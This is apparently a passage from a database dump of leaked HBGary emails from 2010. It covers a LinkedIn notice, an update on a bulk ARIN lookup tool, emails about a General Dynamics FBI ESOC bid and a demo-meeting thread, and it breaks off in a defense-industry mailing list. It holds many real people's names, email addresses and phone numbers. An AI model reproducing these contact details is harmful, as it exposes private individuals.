\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nInvitation Accepted\r\n\r\n\r\n&nbsp;\r\n\r\nCongratulations! You and John M. are now connected.\r\n\r\n \r\n   \r\n   View John M.\'s profile to:\r\n     \r\n       Download John M.\'s current contact information\r\n       Write a recommendation for John M.\r\n       Find opportunities through John M.\'s network\r\n       See who you know in common\r\n     \r\n   &nbsp;\r\n   \r\n   Continue building your network:Every person you connect with builds value for you and all your connections.\r\n \r\n\r\n\r\n&nbsp;\r\n&nbsp;\r\n If these links are not working, you can paste the following address into your browser: http://www.linkedin.com/e/fpf/80660/EML-inv-acc-prof/ Thank you for using LinkedIn! -- The LinkedIn Team\r\nhttp://www.linkedin.com/\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&copy; 2010, LinkedIn Corporation\r\n\r\n\r\n\r\n',16407,'aaron_hbgary_com/16407.html'),(7216,'2010-06-08','\"Mark Trynor\" <mark@hbgary.com>','/aaron@hbgary.com/new/1297005264.M966026P14101Q2071.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Super fast ARIN thought/update','The ARIN Search has been updated to 2.0.  It has been multi-threaded and tested but not thoroughly.  I fixed the drop out issue, for now.  It appears to work fine and when It does work it works very well.  I was able to return results on the entire AAFES ip netblock range in under 30 minutes and watched as 64 threads were initiated.  Which by the net block sizes looked like it would take over 2 hours by a WAG.  I&#39;m also doing some additional logging on when errors occured with timestamps if that ever becomes useful to the end game guys.  We may be able to crush their servers if I can get this kicked off from multiple boxes and not just multiple threads from this poor little laptop or maybe a Beowulf cluster to do the entire nets.\r\n',2442,'aaron_hbgary_com/2442.html'),(7217,'2010-06-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005265.M207853P14101Q2072.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: FBI ESOC - Thank You','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nGood news if they win.&nbsp; What does this mean, they are short\r\nlisted OR that more info is needed?\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 1:37 PM\r\nTo: Ted Vera; Penny Leavy\r\nSubject: Fwd: FBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Lemke,\r\nMichelle R.&quot; &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: June 8, 2010 4:32:26 PM EDT\r\nTo: &quot;Short, Nadia D.&quot; &lt;Nadia.Short@gd-ais.com&gt;,\r\n&quot;Mack, Cynthia M.&quot; &lt;Cynthia.Mack@gd-ais.com&gt;,\r\n&quot;Rawls, Rodger C.&quot; &lt;Rodger.Rawls@gd-ais.com&gt;,\r\n&quot;Burns, Destiny R.&quot; &lt;Destiny.Burns@gd-ais.com&gt;,\r\n&quot;McDonald, Rich L.&quot; &lt;Rich.McDonald@gd-ais.com&gt;,\r\n&quot;Jaeger, James A.&quot; &lt;jim.jaeger@gd-ais.com&gt;,\r\n&quot;Prouty, Charlie S&quot; &lt;Charlie.Prouty@GDIT.com&gt;,\r\n&quot;Saxty, Lori J.&quot; &lt;Lori.Saxty@gd-ais.com&gt;,\r\n&quot;Metzler, Jay&quot; &lt;Jmetzler@sms.com&gt;,\r\n&quot;Bill Lillard&quot; &lt;blillard@emesec.net&gt;,\r\n&quot;Walter, Troy&quot; &lt;Troy.Walter@gdit.com&gt;,\r\n&quot;Mackert, Todd D.&quot; &lt;Todd.Mackert@gd-ais.com&gt;,\r\n&quot;Castrejon, Tomas M.&quot; &lt;Tomas.Castrejon@gd-ais.com&gt;,\r\n&quot;Autry, Errin L.&quot; &lt;Errin.Autry@gd-ais.com&gt;,\r\n&quot;Arismendi, Charles B.&quot; &lt;Charles.Arismendi@gd-ais.com&gt;,\r\n&quot;Anderson, Melvin&quot; &lt;Melvin.Anderson@gd-ais.com&gt;,\r\n&quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;,\r\n&quot;Brunelli, Rex&quot; &lt;Rex.Brunelli@gd-ais.com&gt;,\r\n&quot;Berthiaume, Richard A.&quot; &lt;richard.berthiaume@gd-ais.com&gt;,\r\n&quot;Cornell, Billie J.&quot; &lt;Billie.Cornell@gd-ais.com&gt;,\r\n&quot;Barrett, Rob J.&quot; &lt;Rob.Barrett@gd-ais.com&gt;,\r\n&quot;Burton, Roger C.&quot; &lt;Roger.Burton@gd-ais.com&gt;,\r\n&quot;Carron, Brian E.&quot; &lt;Brian.Carron@gd-ais.com&gt;,\r\n&quot;Brooks, Holly&quot; &lt;Holly.Brooks@gd-ais.com&gt;,\r\n&quot;Mondloch, Carrie H.&quot; &lt;carrie.mondloch@gd-ais.com&gt;,\r\n&quot;Joseph, Carol M.&quot; &lt;Carol.Joseph@gd-ais.com&gt;,\r\n&quot;Carolina, Shelby D.&quot; &lt;shelby.carolina@gd-ais.com&gt;,\r\n&quot;Carter, Richard (NE)&quot; &lt;Richard.Carter@gd-ais.com&gt;,\r\n&quot;Maria Horton&quot; &lt;mchorton@emesec.net&gt;,\r\n&quot;Jacks, Christopher&quot; &lt;Christopher.Jacks@gdit.com&gt;,\r\n&quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;,\r\n&quot;Hickey, David T.&quot; &lt;David.Hickey@gd-ais.com&gt;,\r\n&quot;Duck, Kenneth I.&quot; &lt;ken.duck@gd-ais.com&gt;,\r\n&quot;Domingue, Duane D.&quot; &lt;duane.domingue@gd-ais.com&gt;,\r\n&quot;Jackson, Eric D.&quot; &lt;eric.jackson@gd-ais.com&gt;,\r\n&quot;Nieves, Efrain&quot; &lt;Efrain.Nieves@gd-ais.com&gt;,\r\n&quot;Lhotka, Erven R.&quot; &lt;erven.lhotka@gd-ais.com&gt;,\r\n&quot;Egloff, Susan C.&quot; &lt;Susan.Egloff@gd-ais.com&gt;,\r\n&quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;,\r\n&quot;Hilliard, Jennifer M.&quot; &lt;Jennifer.Hilliard@gd-ais.com&gt;,\r\n&quot;Hickey, David T.&quot; &lt;David.Hickey@gd-ais.com&gt;,\r\n&quot;Hart, Kelly J.&quot; &lt;Kelly.Hart@gd-ais.com&gt;,\r\n&quot;Hill, Pamela E.&quot; &lt;Pamela.Hill@gd-ais.com&gt;,\r\n&quot;Varga, Joan A.&quot; &lt;Joan.Varga@gd-ais.com&gt;,\r\n&quot;John Reed Stark&quot; &lt;JStark@StrozFriedberg.com&gt;,\r\n&quot;Michael, Jim A.&quot; &lt;Jim.Michael@gd-ais.com&gt;,\r\n&quot;Petrauskas, Karen J.&quot; &lt;karen.petrauskas@gd-ais.com&gt;,\r\n&quot;Satterfield, Linda S.&quot; &lt;linda.satterfield@gd-ais.com&gt;,\r\n&quot;Luna, Roby&quot; &lt;rluna@sms.com&gt;,\r\n&quot;Mackert, Todd D.&quot; &lt;Todd.Mackert@gd-ais.com&gt;,\r\n&quot;McLaine, Kate L.&quot; &lt;Kate.McLaine@gd-ais.com&gt;,\r\n&quot;White-Taber, Marjorie J.&quot; &lt;marjorie.taber@gd-ais.com&gt;,\r\n&quot;Green, Rosemary&quot; &lt;rosemary.green@gd-ais.com&gt;,\r\n&quot;Stern, Matthew A.&quot; &lt;Matthew.Stern@gd-ais.com&gt;,\r\n&quot;Tilden, Michael J.&quot; &lt;michael.tilden@gd-ais.com&gt;,\r\n&quot;Newman, Christopher J.&quot; &lt;Christopher.Newman@gd-ais.com&gt;,\r\n&quot;Raja, Razwan N.&quot; &lt;Razwan.Raja@gd-ais.com&gt;,\r\n&quot;Walter, Troy&quot; &lt;Troy.Walter@gdit.com&gt;,\r\n&quot;Kyburz, William (EXT) (GDIT)&quot; &lt;William.Kyburz@gdit.com&gt;\r\nSubject: RE: FBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCongratulations goes out to the entire\r\nFBI ESOC team &#8211; Phase one of the technical\r\nevaluation has been completed and we have been selected for\r\nphase two (oral presentation)!!!\r\nThe\r\ndate for orals presentation is June 10, 2010 at 9:00 am.&nbsp;We have the 8\r\nselected presenters and are working the slides and oral\r\npresentation today and tomorrow. We have scheduled a dial-in for 6:30 tonight\r\nand I would like the lead writers for each task area to dial in. others are welcome\r\nbut\r\nfunctionals\r\nare not required as this is a technical working session to develop\r\nslide\r\ncontent. \r\n\r\nWe have also received clarification questions from the government\r\nand are required to respond with no more than 5 pages by noon on\r\nthe 10th.&nbsp; Rick Berthiaume is currently working\r\nthe response and may be asking leads for clarification so please respond to him\r\npromptly in order for us to finalize the document by our due date and time. \r\n\r\nThanks\r\nagain for everyone&#8217;s support &#8211; let&#8217;s get this wrapped up for a WIN!!! \r\n\r\nMichelle\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Friday, May 28, 2010 3:19 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny\r\nR.; McDonald, Rich L.; Jaeger, James A.; \'Prouty, Charlie S\'; Saxty, Lori J.;\r\n\'Metzler, Jay\'; \'Bill Lillard\'; \'Walter, Troy\'; Mackert, Todd D.; Castrejon, Tomas\r\nM.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; \'Aaron Barr\';\r\nBrunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.;\r\nBurton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph,\r\nCarol M.; Carolina, Shelby D.; Carter, Richard (NE); \'Maria Horton\'; \'Jacks,\r\nChristopher\'; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue,\r\nDuane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.;\r\nHoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.;\r\nHill, Pamela E.; Varga, Joan A.; \'John Reed Stark\'; Michael, Jim A.;\r\nPetrauskas, Karen J.; Satterfield, Linda S.; \'Luna, Roby\'; Mackert, Todd D.;\r\nMcLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.;\r\nTilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; \'Walter, Troy\';\r\nKyburz, William (EXT) (GDIT)\r\nSubject: FBI ESOC - Thank You\r\n\r\nJust a note out to all of\r\nyou that the FBI ESOC proposal has been sent to the customer via e-mail and\r\nFedEx. \r\n\r\nThanks to all of you who\r\nspent so much time and effort helping us put together a solid document in order\r\nto win the FBI ESOC work. Many long hours were put in by so many and others\r\nwere quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I&#8217;ve missed anyone on\r\nthis e-mail please help me by passing it along, there were just so many to\r\nremember. \r\n\r\nI look forward to a WIN and\r\nour continued work together in the future. \r\n\r\nThanks again for all your\r\nsupport, have a great weekend! \r\n\r\nMichelle\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB&nbsp; 703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',13211,'aaron_hbgary_com/13211.html'),(7218,'2010-06-09','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005265.M499073P14101Q2073.eml','\"Aaron Barr\" <aaron@hbgary.com>','FW: Commercial Integration Demo meeting','FYI, let me talk to Greg and see what is possible\r\n\r\n-----Original Message-----\r\nFrom: Nathan Atherley [mailto:nathan.atherley@farallon-research.com] \r\nSent: Tuesday, June 08, 2010 2:13 PM\r\nTo: Penny Leavy-Hoglund\r\nSubject: Re: Commercial Integration Demo meeting\r\n\r\nPenny\r\n\r\nAs for timeframe.  It is a little bit hard to predict for sure, but we \r\nare hoping funding will be here by September to fully fund the entire \r\nproject.  Consequently, we would like to be ready to start working as \r\nsoon as possible to support a Sept start.\r\n\r\nAs for Aaron, I would really prefer Greg to come, we are trying to scope \r\nout more than the integration of Digital DNA into the product and would \r\nlove to tap into Greg\'s creativity and to really see how far this can \r\ngo.  Is that possible?\r\n\r\ngive me a call and we can discuss more.\r\n\r\nNathan\r\n\r\n719-321-6135\r\n\r\n\r\n\r\nOn 6/8/2010 1:23 PM, Penny Leavy-Hoglund wrote:\r\n> Nathan,\r\n>\r\n> Greg and I aren\'t there in DC but Aaron is and can\r\n>\r\n> -----Original Message-----\r\n> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n> Sent: Tuesday, June 08, 2010 5:30 AM\r\n> To: Bob Graham; Penny Leavy-Hoglund; Economou, George; Ray Owen; jack\r\n> kretovics; jhayes@blackridge.us\r\n> Subject: Commercial Integration Demo meeting\r\n>\r\n> John, Penny, George, Jack\r\n>\r\n> We would like to have a kick off meeting in the Washington DC area\r\n> around the 7th-9th of July for the sponsored Commercial Integration Demo\r\n> involving your companies.  We can host at our offices in Crystal City,\r\n> which will then give us good access to the customer.\r\n>\r\n> If these dates do not work, please let me know and we will start looking\r\n> other times.\r\n>\r\n> thanks\r\n>\r\n> nathan\r\n>\r\n>\r\n>\r\n>    \r\n\r\n',9217,'aaron_hbgary_com/9217.html'),(7219,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005265.M732810P14101Q2074.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: FBI ESOC - Thank You','Downselected/shortlisted.  We have at least 1 body guaranteed on this if they win.From my iPhoneOn Jun 8, 2010, at 8:24 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nGood news if they win.  What does this mean, they are short\r\nlisted OR that more info is needed?\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, June 08, 2010 1:37 PM\r\nTo: Ted Vera; Penny Leavy\r\nSubject: Fwd: FBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Lemke,\r\nMichelle R.&quot; &lt;michelle.lemke@gd-ais.com&gt;\r\nDate: June 8, 2010 4:32:26 PM EDT\r\nTo: &quot;Short, Nadia D.&quot; &lt;Nadia.Short@gd-ais.com&gt;,\r\n&quot;Mack, Cynthia M.&quot; &lt;Cynthia.Mack@gd-ais.com&gt;,\r\n&quot;Rawls, Rodger C.&quot; &lt;Rodger.Rawls@gd-ais.com&gt;,\r\n&quot;Burns, Destiny R.&quot; &lt;Destiny.Burns@gd-ais.com&gt;,\r\n&quot;McDonald, Rich L.&quot; &lt;Rich.McDonald@gd-ais.com&gt;,\r\n&quot;Jaeger, James A.&quot; &lt;jim.jaeger@gd-ais.com&gt;,\r\n&quot;Prouty, Charlie S&quot; &lt;Charlie.Prouty@GDIT.com&gt;,\r\n&quot;Saxty, Lori J.&quot; &lt;Lori.Saxty@gd-ais.com&gt;,\r\n&quot;Metzler, Jay&quot; &lt;Jmetzler@sms.com&gt;,\r\n&quot;Bill Lillard&quot; &lt;blillard@emesec.net&gt;,\r\n&quot;Walter, Troy&quot; &lt;Troy.Walter@gdit.com&gt;,\r\n&quot;Mackert, Todd D.&quot; &lt;Todd.Mackert@gd-ais.com&gt;,\r\n&quot;Castrejon, Tomas M.&quot; &lt;Tomas.Castrejon@gd-ais.com&gt;,\r\n&quot;Autry, Errin L.&quot; &lt;Errin.Autry@gd-ais.com&gt;,\r\n&quot;Arismendi, Charles B.&quot; &lt;Charles.Arismendi@gd-ais.com&gt;,\r\n&quot;Anderson, Melvin&quot; &lt;Melvin.Anderson@gd-ais.com&gt;,\r\n&quot;Aaron Barr&quot; &lt;aaron@hbgary.com&gt;,\r\n&quot;Brunelli, Rex&quot; &lt;Rex.Brunelli@gd-ais.com&gt;,\r\n&quot;Berthiaume, Richard A.&quot; &lt;richard.berthiaume@gd-ais.com&gt;,\r\n&quot;Cornell, Billie J.&quot; &lt;Billie.Cornell@gd-ais.com&gt;,\r\n&quot;Barrett, Rob J.&quot; &lt;Rob.Barrett@gd-ais.com&gt;,\r\n&quot;Burton, Roger C.&quot; &lt;Roger.Burton@gd-ais.com&gt;,\r\n&quot;Carron, Brian E.&quot; &lt;Brian.Carron@gd-ais.com&gt;,\r\n&quot;Brooks, Holly&quot; &lt;Holly.Brooks@gd-ais.com&gt;,\r\n&quot;Mondloch, Carrie H.&quot; &lt;carrie.mondloch@gd-ais.com&gt;,\r\n&quot;Joseph, Carol M.&quot; &lt;Carol.Joseph@gd-ais.com&gt;,\r\n&quot;Carolina, Shelby D.&quot; &lt;shelby.carolina@gd-ais.com&gt;,\r\n&quot;Carter, Richard (NE)&quot; &lt;Richard.Carter@gd-ais.com&gt;,\r\n&quot;Maria Horton&quot; &lt;mchorton@emesec.net&gt;,\r\n&quot;Jacks, Christopher&quot; &lt;Christopher.Jacks@gdit.com&gt;,\r\n&quot;Harlow, Douglas M.&quot; &lt;Douglas.Harlow@gd-ais.com&gt;,\r\n&quot;Hickey, David T.&quot; &lt;David.Hickey@gd-ais.com&gt;,\r\n&quot;Duck, Kenneth I.&quot; &lt;ken.duck@gd-ais.com&gt;,\r\n&quot;Domingue, Duane D.&quot; &lt;duane.domingue@gd-ais.com&gt;,\r\n&quot;Jackson, Eric D.&quot; &lt;eric.jackson@gd-ais.com&gt;,\r\n&quot;Nieves, Efrain&quot; &lt;Efrain.Nieves@gd-ais.com&gt;,\r\n&quot;Lhotka, Erven R.&quot; &lt;erven.lhotka@gd-ais.com&gt;,\r\n&quot;Egloff, Susan C.&quot; &lt;Susan.Egloff@gd-ais.com&gt;,\r\n&quot;Hoagland, Kimberly A.&quot; &lt;Kimberly.Hoagland@gd-ais.com&gt;,\r\n&quot;Hilliard, Jennifer M.&quot; &lt;Jennifer.Hilliard@gd-ais.com&gt;,\r\n&quot;Hickey, David T.&quot; &lt;David.Hickey@gd-ais.com&gt;,\r\n&quot;Hart, Kelly J.&quot; &lt;Kelly.Hart@gd-ais.com&gt;,\r\n&quot;Hill, Pamela E.&quot; &lt;Pamela.Hill@gd-ais.com&gt;,\r\n&quot;Varga, Joan A.&quot; &lt;Joan.Varga@gd-ais.com&gt;,\r\n&quot;John Reed Stark&quot; &lt;JStark@StrozFriedberg.com&gt;,\r\n&quot;Michael, Jim A.&quot; &lt;Jim.Michael@gd-ais.com&gt;,\r\n&quot;Petrauskas, Karen J.&quot; &lt;karen.petrauskas@gd-ais.com&gt;,\r\n&quot;Satterfield, Linda S.&quot; &lt;linda.satterfield@gd-ais.com&gt;,\r\n&quot;Luna, Roby&quot; &lt;rluna@sms.com&gt;,\r\n&quot;Mackert, Todd D.&quot; &lt;Todd.Mackert@gd-ais.com&gt;,\r\n&quot;McLaine, Kate L.&quot; &lt;Kate.McLaine@gd-ais.com&gt;,\r\n&quot;White-Taber, Marjorie J.&quot; &lt;marjorie.taber@gd-ais.com&gt;,\r\n&quot;Green, Rosemary&quot; &lt;rosemary.green@gd-ais.com&gt;,\r\n&quot;Stern, Matthew A.&quot; &lt;Matthew.Stern@gd-ais.com&gt;,\r\n&quot;Tilden, Michael J.&quot; &lt;michael.tilden@gd-ais.com&gt;,\r\n&quot;Newman, Christopher J.&quot; &lt;Christopher.Newman@gd-ais.com&gt;,\r\n&quot;Raja, Razwan N.&quot; &lt;Razwan.Raja@gd-ais.com&gt;,\r\n&quot;Walter, Troy&quot; &lt;Troy.Walter@gdit.com&gt;,\r\n&quot;Kyburz, William (EXT) (GDIT)&quot; &lt;William.Kyburz@gdit.com&gt;\r\nSubject: RE: FBI ESOC - Thank You\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCongratulations goes out to the entire\r\nFBI ESOC team – Phase one of the technical\r\nevaluation has been completed and we have been selected for\r\nphase two (oral presentation)!!!\r\nThe\r\ndate for orals presentation is June 10, 2010 at 9:00 am. We have the 8\r\nselected presenters and are working the slides and oral\r\npresentation today and tomorrow. We have scheduled a dial-in for 6:30 tonight\r\nand I would like the lead writers for each task area to dial in. others are welcome\r\nbut\r\nfunctionals\r\nare not required as this is a technical working session to develop\r\nslide\r\ncontent. \r\n\r\nWe have also received clarification questions from the government\r\nand are required to respond with no more than 5 pages by noon on\r\nthe 10th.  Rick Berthiaume is currently working\r\nthe response and may be asking leads for clarification so please respond to him\r\npromptly in order for us to finalize the document by our due date and time. \r\n\r\nThanks\r\nagain for everyone’s support – let’s get this wrapped up for a WIN!!! \r\n\r\nMichelle\r\n\r\n_____________________________________________\r\nFrom: Lemke, Michelle R.\r\nSent: Friday, May 28, 2010 3:19 PM\r\nTo: Short, Nadia D.; Mack, Cynthia M.; Rawls, Rodger C.; Burns, Destiny\r\nR.; McDonald, Rich L.; Jaeger, James A.; &#39;Prouty, Charlie S&#39;; Saxty, Lori J.;\r\n&#39;Metzler, Jay&#39;; &#39;Bill Lillard&#39;; &#39;Walter, Troy&#39;; Mackert, Todd D.; Castrejon, Tomas\r\nM.; Autry, Errin L.; Arismendi, Charles B.; Anderson, Melvin; &#39;Aaron Barr&#39;;\r\nBrunelli, Rex; Berthiaume, Richard A.; Cornell, Billie J.; Barrett, Rob J.;\r\nBurton, Roger C.; Carron, Brian E.; Brooks, Holly; Mondloch, Carrie H.; Joseph,\r\nCarol M.; Carolina, Shelby D.; Carter, Richard (NE); &#39;Maria Horton&#39;; &#39;Jacks,\r\nChristopher&#39;; Harlow, Douglas M.; Hickey, David T.; Duck, Kenneth I.; Domingue,\r\nDuane D.; Jackson, Eric D.; Nieves, Efrain; Lhotka, Erven R.; Egloff, Susan C.;\r\nHoagland, Kimberly A.; Hilliard, Jennifer M.; Hickey, David T.; Hart, Kelly J.;\r\nHill, Pamela E.; Varga, Joan A.; &#39;John Reed Stark&#39;; Michael, Jim A.;\r\nPetrauskas, Karen J.; Satterfield, Linda S.; &#39;Luna, Roby&#39;; Mackert, Todd D.;\r\nMcLaine, Kate L.; White-Taber, Marjorie J.; Green, Rosemary; Stern, Matthew A.;\r\nTilden, Michael J.; Newman, Christopher J.; Raja, Razwan N.; &#39;Walter, Troy&#39;;\r\nKyburz, William (EXT) (GDIT)\r\nSubject: FBI ESOC - Thank You\r\n\r\nJust a note out to all of\r\nyou that the FBI ESOC proposal has been sent to the customer via e-mail and\r\nFedEx. \r\n\r\nThanks to all of you who\r\nspent so much time and effort helping us put together a solid document in order\r\nto win the FBI ESOC work. Many long hours were put in by so many and others\r\nwere quick to assist in so many ways, it was truly appreciated! \r\n\r\nIf I’ve missed anyone on\r\nthis e-mail please help me by passing it along, there were just so many to\r\nremember. \r\n\r\nI look forward to a WIN and\r\nour continued work together in the future. \r\n\r\nThanks again for all your\r\nsupport, have a great weekend! \r\n\r\nMichelle\r\n\r\nMichelle Lemke\r\n\r\nSenior Manager Business\r\nDevelopment\r\n\r\nGeneral Dynamics Advanced\r\nInformation Systems\r\n\r\nBB  703-946-1495\r\n\r\nC 757-286-9239\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2856,'aaron_hbgary_com/2856.html'),(7220,'2010-06-09','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005265.M967962P14101Q2075.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Commercial Integration Demo meeting','What exactly are they wanting from HBGary?  I used to run covcom\r\nprograms.  What type of creativity are they looking for?\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 8, 2010, at 8:26 PM, Penny Leavy-Hoglund  wrote:\r\n\r\n> FYI, let me talk to Greg and see what is possible\r\n>\r\n> -----Original Message-----\r\n> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n> Sent: Tuesday, June 08, 2010 2:13 PM\r\n> To: Penny Leavy-Hoglund\r\n> Subject: Re: Commercial Integration Demo meeting\r\n>\r\n> Penny\r\n>\r\n> As for timeframe.  It is a little bit hard to predict for sure, but we\r\n> are hoping funding will be here by September to fully fund the entire\r\n> project.  Consequently, we would like to be ready to start working as\r\n> soon as possible to support a Sept start.\r\n>\r\n> As for Aaron, I would really prefer Greg to come, we are trying to scope\r\n> out more than the integration of Digital DNA into the product and would\r\n> love to tap into Greg\'s creativity and to really see how far this can\r\n> go.  Is that possible?\r\n>\r\n> give me a call and we can discuss more.\r\n>\r\n> Nathan\r\n>\r\n> 719-321-6135\r\n>\r\n>\r\n>\r\n> On 6/8/2010 1:23 PM, Penny Leavy-Hoglund wrote:\r\n>> Nathan,\r\n>>\r\n>> Greg and I aren\'t there in DC but Aaron is and can\r\n>>\r\n>> -----Original Message-----\r\n>> From: Nathan Atherley [mailto:nathan.atherley@farallon-research.com]\r\n>> Sent: Tuesday, June 08, 2010 5:30 AM\r\n>> To: Bob Graham; Penny Leavy-Hoglund; Economou, George; Ray Owen; jack\r\n>> kretovics; jhayes@blackridge.us\r\n>> Subject: Commercial Integration Demo meeting\r\n>>\r\n>> John, Penny, George, Jack\r\n>>\r\n>> We would like to have a kick off meeting in the Washington DC area\r\n>> around the 7th-9th of July for the sponsored Commercial Integration Demo\r\n>> involving your companies.  We can host at our offices in Crystal City,\r\n>> which will then give us good access to the customer.\r\n>>\r\n>> If these dates do not work, please let me know and we will start looking\r\n>> other times.\r\n>>\r\n>> thanks\r\n>>\r\n>> nathan\r\n>>\r\n>>\r\n>>\r\n>>\r\n>\r\n',12842,'aaron_hbgary_com/12842.html'),(7221,'2010-06-09','alexander.miller@l-3com.com','/aaron@hbgary.com/new/1297005266.M231566P14101Q2076.eml','Bill.Varner@ManTech.com,lance.cottrell@abraxascorp.com,bill.phelps@accenture.com,skip.foote@americansystems.com,roger_anderson@appsig.com,john.osterholz@baesystems.com,barbara.g.fast@boeing.com,zazmi@caci.com,wcooper@cisco.com,svisner@csc.com,david_joslin@federal.dell.com,jreagan@deloitte.com,nadia.short@gd-ais.com,jkoenig@harris.com,aaron@hbgary.com,samuel.chun@hp.com,ccpalmer@us.ibm.com,jwatters@isightpartners.com,rdix@juniper.net,dusty.wince@knowledgecg.com,scottmil@microsoft.com,gjg@mitre.org,rodney.joffe@neustar.biz,Kathy.Warden@ngc.com,ed.gibson@us.pwc.com,shawn.carroll@qwest.com,steve_k_hawkins@raytheon.com,bmalexia@rockwellcollins.com,coxld@saic.com,pat.burke@sra.com,kenneth.sannicolas@stanleyassociates.com,tiffany_jones@symantec.com,Bill.Varner@ManTech.com,lance.cottrell@abraxascorp.com,bill.phelps@accenture.com','Re: 4X24 Cyber Group','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\nBill, looking fwd to discussions. Best, Alex\r\n\r\n\r\nFrom: Varner, Bill &lt;Bill.Varner@ManTech.com&gt;To: lance.cottrell@abraxascorp.com &lt;lance.cottrell@abraxascorp.com&gt;; bill.phelps@accenture.com &lt;bill.phelps@accenture.com&gt;; skip.foote@americansystems.com &lt;skip.foote@americansystems.com&gt;; roger_anderson@appsig.com &lt;roger_anderson@appsig.com&gt;; john.osterholz@baesystems.com &lt;john.osterholz@baesystems.com&gt;; barbara.g.fast@boeing.com &lt;barbara.g.fast@boeing.com&gt;; zazmi@caci.com &lt;zazmi@caci.com&gt;; wcooper@cisco.com &lt;wcooper@cisco.com&gt;; svisner@csc.com &lt;svisner@csc.com&gt;; david_joslin@federal.dell.com &lt;david_joslin@federal.dell.com&gt;; jreagan@deloitte.com &lt;jreagan@deloitte.com&gt;; nadia.short@gd-ais.com &lt;nadia.short@gd-ais.com&gt;; jkoenig@harris.com &lt;jkoenig@harris.com&gt;; aaron@hbgary.com &lt;aaron@hbgary.com&gt;; samuel.chun@hp.com &lt;samuel.chun@hp.com&gt;; ccpalmer@us.ibm.com &lt;ccpalmer@us.ibm.com&gt;; jwatters@isightpartners.com &lt;jwatters@isightpartners.com&gt;; rdix@juniper.net &lt;rdix@juniper.net&gt;; dusty.wince@knowledgecg.com &lt;dusty.wince@knowledgecg.com&gt;; Miller, Alexander A @ STRATIS; scottmil@microsoft.com &lt;scottmil@microsoft.com&gt;; gjg@mitre.org &lt;gjg@mitre.org&gt;; rodney.joffe@neustar.biz &lt;rodney.joffe@neustar.biz&gt;; kathy.warden@ngc.com &lt;kathy.warden@ngc.com&gt;; ed.gibson@us.pwc.com &lt;ed.gibson@us.pwc.com&gt;; shawn.carroll@qwest.com &lt;shawn.carroll@qwest.com&gt;; steve_k_hawkins@raytheon.com &lt;steve_k_hawkins@raytheon.com&gt;; bmalexia@rockwellcollins.com &lt;bmalexia@rockwellcollins.com&gt;; coxld@saic.com &lt;coxld@saic.com&gt;; pat.burke@sra.com &lt;pat.burke@sra.com&gt;; kenneth.sannicolas@stanleyassociates.com &lt;kenneth.sannicolas@stanleyassociates.com&gt;; tiffany_jones@symantec.com &lt;tiffany_jones@symantec.com&gt;; jpayne@telcordia.com &lt;jpayne@telcordia.com&gt;; michael.fraser@usis.com 